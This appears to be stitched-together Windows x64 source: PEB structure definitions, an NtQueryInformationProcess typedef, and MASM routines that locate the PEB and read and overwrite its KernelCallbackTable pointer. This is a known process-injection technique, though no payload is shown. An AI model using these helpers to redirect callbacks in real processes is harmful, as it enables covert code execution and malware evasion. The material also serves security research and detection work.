    union _ULARGE_INTEGER AppCompatFlags;                                   //0x2c8
    union _ULARGE_INTEGER AppCompatFlagsUser;                               //0x2d0
    VOID* pShimData;                                                        //0x2d8
    VOID* AppCompatInfo;                                                    //0x2e0
    struct _UNICODE_STRING CSDVersion;                                      //0x2e8
    struct _ACTIVATION_CONTEXT_DATA* ActivationContextData;                 //0x2f8
    struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap;                //0x300
    struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData;    //0x308
    struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap;                 //0x310
    ULONGLONG MinimumStackCommit;                                           //0x318
    struct _FLS_CALLBACK_INFO* FlsCallback;                                 //0x320
    struct _LIST_ENTRY FlsListHead;                                         //0x328
    VOID* FlsBitmap;                                                        //0x338
    ULONG FlsBitmapBits[4];                                                 //0x340
    ULONG FlsHighIndex;                                                     //0x350
    VOID* WerRegistrationData;                                              //0x358
    VOID* WerShipAssertPtr;                                                 //0x360
    VOID* pUnused;                                                          //0x368
    VOID* pImageHeaderHash;                                                 //0x370
    union
    {
        ULONG TracingFlags;                                                 //0x378
        struct
        {
            ULONG HeapTracingEnabled : 1;                                   //0x378
            ULONG CritSecTracingEnabled : 1;                                //0x378
            ULONG LibLoaderTracingEnabled : 1;                              //0x378
            ULONG SpareTracingBits : 29;                                    //0x378
        };
    };
    UCHAR Padding6[4];                                                      //0x37c
    ULONGLONG CsrServerReadOnlySharedMemoryBase;                            //0x380
    ULONGLONG TppWorkerpListLock;                                           //0x388
    struct _LIST_ENTRY TppWorkerpList;                                      //0x390
    VOID* WaitOnAddressHashTable[128];                                      //0x3a0
    VOID* TelemetryCoverageHeader;                                          //0x7a0
    ULONG CloudFileFlags;                                                   //0x7a8
    ULONG CloudFileDiagFlags;                                               //0x7ac
    CHAR PlaceholderCompatibilityMode;                                      //0x7b0
    CHAR PlaceholderCompatibilityModeReserved[7];                           //0x7b1
    struct _LEAP_SECOND_DATA* LeapSecondData;                               //0x7b8
    union
    {
        ULONG LeapSecondFlags;                                              //0x7c0
        struct
        {
            ULONG SixtySecondEnabled : 1;                                   //0x7c0
            ULONG Reserved : 31;                                            //0x7c0
        };
    };
    ULONG NtGlobalFlag2;                                                    //0x7c4
} PEB, * PPEB;

typedef LONG KPRIORITY;

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PPEB PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

typedef enum _PROCESSINFOCLASS
{
    ProcessBasicInformation = 0,
    ProcessDebugPort = 7,
    ProcessWow64Information = 26,
    ProcessImageFileName = 27,
    ProcessBreakOnTermination = 29
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;

typedef NTSTATUS(WINAPI* PFN_NTQUERYINFORMATIONPROCESS)(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
    );

PFN_NTQUERYINFORMATIONPROCESS NtQueryInformationProcess = NULL;

#pragma once

#define COLOR_RESET "\033[0m"
#define COLOR_RED_BOLD "\033[1;31m"
#define COLOR_GREEN_BOLD "\033[1;32m"
#define COLOR_YELLOW_BOLD "\033[1;32m"
#define COLOR_BLUE_BOLD "\033[1;34m"

extern PVOID LocatePEB();
extern PVOID ResolveKernelCallbackTable(PVOID PebAddress);
extern void WriteKernelCallbackTable(PVOID PebAddress, PVOID NewKernelCallbackTable);

#define MAX_WAIT_TIME 10000

.CODE
PUBLIC LocatePEB
PUBLIC ResolveKernelCallbackTable
PUBLIC WriteKernelCallbackTable

; Retrieving the address of the PEB.
LocatePEB PROC
    mov rax, qword ptr gs:[60h] ; Access PEB in x64
    ret
LocatePEB ENDP

; Retrieving the KernelCallbackTable address from the PEB.
; RCX contains the PEB address, returns KernelCallbackTable address in RAX
ResolveKernelCallbackTable PROC
    mov rax, qword ptr [rcx + 58h] ; Offset for KernelCallbackTable in PEB (0x58)
    ret
ResolveKernelCallbackTable ENDP

; Updating the KernelCallbackTable with a new address.
; RCX = PEB address, RDX = New KernelCallbackTable address
WriteKernelCallbackTable PROC
    mov qword ptr [rcx + 58h], rdx    ; Write the new KernelCallbackTable address
    ret
WriteKernelCallbackTable ENDP

END